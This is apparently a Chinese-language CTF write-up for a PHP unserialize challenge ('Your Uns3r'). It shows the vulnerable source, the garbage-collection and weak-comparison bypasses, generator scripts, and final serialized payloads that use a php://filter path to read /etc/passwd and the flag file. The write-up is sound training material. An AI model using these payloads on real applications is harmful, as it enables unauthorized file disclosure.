Your Uns3r
<?php
highlight_file(__FILE__);
class User
{
public $username;
public $value;
public function exec()
{
$ser = unserialize(serialize(unserialize($this->value)));
if ($ser != $this->value && $ser instanceof Access) {
include($ser->getToken());
}
}
public function __destruct()
{
if ($this->username == "admin") {
$this->exec();
}
}
}
class Access
{
protected $prefix;
protected $suffix;
public function getToken()
{
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;
}
}
$ser = $_POST["user"];
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
exit ("no way!!!!");
}
$user = unserialize($ser);
throw new Exception("nonono!!!");
整体逻辑就是用user反序列化后激活__destruct后一步步利用,最后控制result内容用include读flag
这里有两点要注意的,第一个就是throw new Exception("nonono!!!"); 第二个就是$this->username == "admin" 弱等于判断
一开始把throw天真的注释了,打本地发现怎么都可以,但是一加上throw就不行了 :(
这里就要用到这个回收机制,但是根据这个回收机制,对于PHP5.6.40似乎好像不适用,他的例子a:2:{i:0;O:1:"B":0:{}i:0;i:0;}
这里再5.6.40复现不行,解决方法是数组长度+1就可以绕过a:3:{i:0;O:1:"B":0:{}i:0;i:0;}
然后这里限制preacmd导致我研究了半天,后面发现根本不用pearcmd进行
<?php
class User {
public $username = 0;
public $value;
}
class Access {
protected $prefix = "";
protected $suffix = "";
}
$user = array(new User(),0);
$user->value = serialize(new Access());
$payload = serialize($user);
echo $payload;
?>
Value是N,我打算后面的补上
这里protected在序列化后*两边的%00显示不出来,后面需要自己补齐
<?php
class User
{
public $username = 0;
public $value;
}
class Access
{
protected $prefix = "php://filter/read=convert.base64-encode/resource=/";
protected $suffix = "/../../../../etc/passwd";
}
$access = new Access();
$user = new User();
$user->value = array($access);
$user->value[0] = $access;
$user->value = serialize($access);
echo serialize($user);
?>
这里生成的value放到上面的exp输出的序列化中
a:2:{i:0;O:4:"User":2:{s:8:"username";i:0;s:5:"value";N;}i:1;i:0;}
O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:138:"O:6:"Access":2:{s:9:"%00*%00prefix";s:50:"php://filter/read=convert.base64-encode/resource=/";s:9:"%00*%00suffix";s:23:"/../../../../etc/passwd";}";}
最终payload
a:3:{i:0;O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:138:"O:6:"Access":2:{s:9:"%00*%00prefix";s:50:"php://filter/read=convert.base64-encode/resource=/";s:9:"%00*%00suffix";s:23:"/../../../../etc/passwd";}";}i:1;i:0;}
a:3:{i:0;O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:138:"O:6:"Access":2:{s:9:"%00*%00prefix";s:50:"php://filter/read=convert.base64-encode/resource=/";s:9:"%00*%00suffix";s:23:"/../../../../flag";}";}i:1;i:0;}